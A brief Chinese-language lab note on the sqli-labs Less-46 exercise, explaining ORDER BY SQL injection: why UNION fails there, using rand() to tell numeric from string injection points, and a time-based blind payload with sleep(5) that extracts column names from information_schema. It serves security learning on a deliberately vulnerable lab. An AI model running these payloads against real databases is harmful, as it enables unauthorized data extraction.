sql-lab-46
order by 注入是指其后面的参数是可控的,
order by 不同于我们在 where 后的注入点,不能使用 union 等注入,其后可以跟接 报错注入 或者 时间盲注。
数字型order by注入时,语句order by=2 and 1=2
,和order by=2 and 1=1
显示的结果一样,所以无法用来判断注入点类型
而用rand()会显示不同的排序结果
当在字符型中用?sort=rand()
,则不会有效果,排序不会改变
因此用rand()可判断注入点类型
?sort=1
?sort=2:
?sort=rand(true)?sort=rand(false)时间注入:?sort=1 and if(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='u',sleep(5),0)